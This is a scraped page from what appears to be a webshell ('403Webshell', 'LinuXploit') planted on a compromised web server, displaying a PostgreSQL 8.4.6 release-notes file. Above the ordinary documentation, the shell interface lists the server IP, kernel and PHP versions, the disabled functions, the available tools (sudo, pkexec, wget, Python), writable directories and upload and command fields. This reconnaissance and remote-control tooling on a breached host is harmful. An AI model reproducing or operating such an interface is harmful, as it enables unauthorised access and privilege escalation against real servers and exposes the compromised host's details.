403Webshell
Server IP : 103.119.228.120  /  Your IP : 18.119.19.205
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /usr/local/ssl/share/doc/postgresql-9.2.24/html/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/local/ssl/share/doc/postgresql-9.2.24/html/release-8-4-6.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML
><HEAD
><TITLE
>Release 8.4.6</TITLE
><META
NAME="GENERATOR"
CONTENT="Modular DocBook HTML Stylesheet Version 1.79"><LINK
REV="MADE"
HREF="mailto:pgsql-docs@postgresql.org"><LINK
REL="HOME"
TITLE="PostgreSQL 9.2.24 Documentation"
HREF="index.html"><LINK
REL="UP"
TITLE="Release Notes"
HREF="release.html"><LINK
REL="PREVIOUS"
TITLE="Release 8.4.7"
HREF="release-8-4-7.html"><LINK
REL="NEXT"
TITLE="Release 8.4.5"
HREF="release-8-4-5.html"><LINK
REL="STYLESHEET"
TYPE="text/css"
HREF="stylesheet.css"><META
HTTP-EQUIV="Content-Type"
CONTENT="text/html; charset=ISO-8859-1"><META
NAME="creation"
CONTENT="2017-11-06T22:43:11"></HEAD
><BODY
CLASS="SECT1"
><DIV
CLASS="NAVHEADER"
><TABLE
SUMMARY="Header navigation table"
WIDTH="100%"
BORDER="0"
CELLPADDING="0"
CELLSPACING="0"
><TR
><TH
COLSPAN="5"
ALIGN="center"
VALIGN="bottom"
><A
HREF="index.html"
>PostgreSQL 9.2.24 Documentation</A
></TH
></TR
><TR
><TD
WIDTH="10%"
ALIGN="left"
VALIGN="top"
><A
TITLE="Release 8.4.7"
HREF="release-8-4-7.html"
ACCESSKEY="P"
>Prev</A
></TD
><TD
WIDTH="10%"
ALIGN="left"
VALIGN="top"
><A
HREF="release.html"
ACCESSKEY="U"
>Up</A
></TD
><TD
WIDTH="60%"
ALIGN="center"
VALIGN="bottom"
>Appendix E. Release Notes</TD
><TD
WIDTH="20%"
ALIGN="right"
VALIGN="top"
><A
TITLE="Release 8.4.5"
HREF="release-8-4-5.html"
ACCESSKEY="N"
>Next</A
></TD
></TR
></TABLE
><HR
ALIGN="LEFT"
WIDTH="100%"></DIV
><DIV
CLASS="SECT1"
><H1
CLASS="SECT1"
><A
NAME="RELEASE-8-4-6"
>E.91. Release 8.4.6</A
></H1
><DIV
CLASS="FORMALPARA"
><P
><B
>Release date: </B
>2010-12-16</P
></DIV
><P
>   This release contains a variety of fixes from 8.4.5.
   For information about new features in the 8.4 major release, see
   <A
HREF="release-8-4.html"
>Section E.97</A
>.
  </P
><DIV
CLASS="SECT2"
><H2
CLASS="SECT2"
><A
NAME="AEN126504"
>E.91.1. Migration to Version 8.4.6</A
></H2
><P
>    A dump/restore is not required for those running 8.4.X.
    However, if you are upgrading from a version earlier than 8.4.2,
    see <A
HREF="release-8-4-2.html"
>Section E.95</A
>.
   </P
></DIV
><DIV
CLASS="SECT2"
><H2
CLASS="SECT2"
><A
NAME="AEN126508"
>E.91.2. Changes</A
></H2
><P
></P
><UL
><LI
><P
>      Force the default
      <A
HREF="runtime-config-wal.html#GUC-WAL-SYNC-METHOD"
><TT
CLASS="VARNAME"
>wal_sync_method</TT
></A
>
      to be <TT
CLASS="LITERAL"
>fdatasync</TT
> on Linux (Tom Lane, Marti Raudsepp)
     </P
><P
>      The default on Linux has actually been <TT
CLASS="LITERAL"
>fdatasync</TT
> for many
      years, but recent kernel changes caused <SPAN
CLASS="PRODUCTNAME"
>PostgreSQL</SPAN
> to
      choose <TT
CLASS="LITERAL"
>open_datasync</TT
> instead.  This choice did not result
      in any performance improvement, and caused outright failures on
      certain filesystems, notably <TT
CLASS="LITERAL"
>ext4</TT
> with the
      <TT
CLASS="LITERAL"
>data=journal</TT
> mount option.
     </P
></LI
><LI
><P
>      Fix assorted bugs in WAL replay logic for GIN indexes (Tom Lane)
     </P
><P
>      This could result in <SPAN
CLASS="QUOTE"
>"bad buffer id: 0"</SPAN
> failures or
      corruption of index contents during replication.
     </P
></LI
><LI
><P
>      Fix recovery from base backup when the starting checkpoint WAL record
      is not in the same WAL segment as its redo point (Jeff Davis)
     </P
></LI
><LI
><P
>      Fix persistent slowdown of autovacuum workers when multiple workers
      remain active for a long time (Tom Lane)
     </P
><P
>      The effective <TT
CLASS="VARNAME"
>vacuum_cost_limit</TT
> for an autovacuum worker
      could drop to nearly zero if it processed enough tables, causing it
      to run extremely slowly.
     </P
></LI
><LI
><P
>      Add support for detecting register-stack overrun on <TT
CLASS="LITERAL"
>IA64</TT
>
      (Tom Lane)
     </P
><P
>      The <TT
CLASS="LITERAL"
>IA64</TT
> architecture has two hardware stacks.  Full
      prevention of stack-overrun failures requires checking both.
     </P
></LI
><LI
><P
>      Add a check for stack overflow in <CODE
CLASS="FUNCTION"
>copyObject()</CODE
> (Tom Lane)
     </P
><P
>      Certain code paths could crash due to stack overflow given a
      sufficiently complex query.
     </P
></LI
><LI
><P
>      Fix detection of page splits in temporary GiST indexes (Heikki
      Linnakangas)
     </P
><P
>      It is possible to have a <SPAN
CLASS="QUOTE"
>"concurrent"</SPAN
> page split in a
      temporary index, if for example there is an open cursor scanning the
      index when an insertion is done.  GiST failed to detect this case and
      hence could deliver wrong results when execution of the cursor
      continued.
     </P
></LI
><LI
><P
>      Fix error checking during early connection processing (Tom Lane)
     </P
><P
>      The check for too many child processes was skipped in some cases,
      possibly leading to postmaster crash when attempting to add the new
      child process to fixed-size arrays.
     </P
></LI
><LI
><P
>      Improve efficiency of window functions (Tom Lane)
     </P
><P
>      Certain cases where a large number of tuples needed to be read in
      advance, but <TT
CLASS="VARNAME"
>work_mem</TT
> was large enough to allow them all
      to be held in memory, were unexpectedly slow.
      <CODE
CLASS="FUNCTION"
>percent_rank()</CODE
>, <CODE
CLASS="FUNCTION"
>cume_dist()</CODE
> and
      <CODE
CLASS="FUNCTION"
>ntile()</CODE
> in particular were subject to this problem.
     </P
></LI
><LI
><P
>      Avoid memory leakage while <TT
CLASS="COMMAND"
>ANALYZE</TT
>'ing complex index
      expressions (Tom Lane)
     </P
></LI
><LI
><P
>      Ensure an index that uses a whole-row Var still depends on its table
      (Tom Lane)
     </P
><P
>      An index declared like <TT
CLASS="LITERAL"
>create index i on t (foo(t.*))</TT
>
      would not automatically get dropped when its table was dropped.
     </P
></LI
><LI
><P
>      Do not <SPAN
CLASS="QUOTE"
>"inline"</SPAN
> a SQL function with multiple <TT
CLASS="LITERAL"
>OUT</TT
>
      parameters (Tom Lane)
     </P
><P
>      This avoids a possible crash due to loss of information about the
      expected result rowtype.
     </P
></LI
><LI
><P
>      Behave correctly if <TT
CLASS="LITERAL"
>ORDER BY</TT
>, <TT
CLASS="LITERAL"
>LIMIT</TT
>,
      <TT
CLASS="LITERAL"
>FOR UPDATE</TT
>, or <TT
CLASS="LITERAL"
>WITH</TT
> is attached to the
      <TT
CLASS="LITERAL"
>VALUES</TT
> part of <TT
CLASS="LITERAL"
>INSERT ... VALUES</TT
> (Tom Lane)
     </P
></LI
><LI
><P
>      Fix constant-folding of <TT
CLASS="LITERAL"
>COALESCE()</TT
> expressions (Tom Lane)
     </P
><P
>      The planner would sometimes attempt to evaluate sub-expressions that
      in fact could never be reached, possibly leading to unexpected errors.
     </P
></LI
><LI
><P
>      Fix postmaster crash when connection acceptance
      (<CODE
CLASS="FUNCTION"
>accept()</CODE
> or one of the calls made immediately after it)
      fails, and the postmaster was compiled with GSSAPI support (Alexander
      Chernikov)
     </P
></LI
><LI
><P
>      Fix missed unlink of temporary files when <TT
CLASS="VARNAME"
>log_temp_files</TT
>
      is active (Tom Lane)
     </P
><P
>      If an error occurred while attempting to emit the log message, the
      unlink was not done, resulting in accumulation of temp files.
     </P
></LI
><LI
><P
>      Add print functionality for <TT
CLASS="STRUCTNAME"
>InhRelation</TT
> nodes (Tom Lane)
     </P
><P
>      This avoids a failure when <TT
CLASS="VARNAME"
>debug_print_parse</TT
> is enabled
      and certain types of query are executed.
     </P
></LI
><LI
><P
>      Fix incorrect calculation of distance from a point to a horizontal
      line segment (Tom Lane)
     </P
><P
>      This bug affected several different geometric distance-measurement
      operators.
     </P
></LI
><LI
><P
>      Fix incorrect calculation of transaction status in
      <SPAN
CLASS="APPLICATION"
>ecpg</SPAN
> (Itagaki Takahiro)
     </P
></LI
><LI
><P
>      Fix <SPAN
CLASS="APPLICATION"
>PL/pgSQL</SPAN
>'s handling of <SPAN
CLASS="QUOTE"
>"simple"</SPAN
>
      expressions to not fail in recursion or error-recovery cases (Tom Lane)
     </P
></LI
><LI
><P
>      Fix <SPAN
CLASS="APPLICATION"
>PL/Python</SPAN
>'s handling of set-returning functions
      (Jan Urbanski)
     </P
><P
>      Attempts to call SPI functions within the iterator generating a set
      result would fail.
     </P
></LI
><LI
><P
>      Fix bug in <TT
CLASS="FILENAME"
>contrib/cube</TT
>'s GiST picksplit algorithm
      (Alexander Korotkov)
     </P
><P
>      This could result in considerable inefficiency, though not actually
      incorrect answers, in a GiST index on a <TT
CLASS="TYPE"
>cube</TT
> column.
      If you have such an index, consider <TT
CLASS="COMMAND"
>REINDEX</TT
>ing it after
      installing this update.
     </P
></LI
><LI
><P
>      Don't emit <SPAN
CLASS="QUOTE"
>"identifier will be truncated"</SPAN
> notices in
      <TT
CLASS="FILENAME"
>contrib/dblink</TT
> except when creating new connections
      (Itagaki Takahiro)
     </P
></LI
><LI
><P
>      Fix potential coredump on missing public key in
      <TT
CLASS="FILENAME"
>contrib/pgcrypto</TT
> (Marti Raudsepp)
     </P
></LI
><LI
><P
>      Fix memory leak in <TT
CLASS="FILENAME"
>contrib/xml2</TT
>'s XPath query functions
      (Tom Lane)
     </P
></LI
><LI
><P
>      Update time zone data files to <SPAN
CLASS="APPLICATION"
>tzdata</SPAN
> release 2010o
      for DST law changes in Fiji and Samoa;
      also historical corrections for Hong Kong.
     </P
></LI
></UL
></DIV
></DIV
><DIV
CLASS="NAVFOOTER"
><HR
ALIGN="LEFT"
WIDTH="100%"><TABLE
SUMMARY="Footer navigation table"
WIDTH="100%"
BORDER="0"
CELLPADDING="0"
CELLSPACING="0"
><TR
><TD
WIDTH="33%"
ALIGN="left"
VALIGN="top"
><A
HREF="release-8-4-7.html"
ACCESSKEY="P"
>Prev</A
></TD
><TD
WIDTH="34%"
ALIGN="center"
VALIGN="top"
><A
HREF="index.html"
ACCESSKEY="H"
>Home</A
></TD
><TD
WIDTH="33%"
ALIGN="right"
VALIGN="top"
><A
HREF="release-8-4-5.html"
ACCESSKEY="N"
>Next</A
></TD
></TR
><TR
><TD
WIDTH="33%"
ALIGN="left"
VALIGN="top"
>Release 8.4.7</TD
><TD
WIDTH="34%"
ALIGN="center"
VALIGN="top"
><A
HREF="release.html"
ACCESSKEY="U"
>Up</A
></TD
><TD
WIDTH="33%"
ALIGN="right"
VALIGN="top"
>Release 8.4.5</TD
></TR
></TABLE
></DIV
></BODY
></HTML
>

Youez - 2016 - github.com/yon3zu
LinuXploit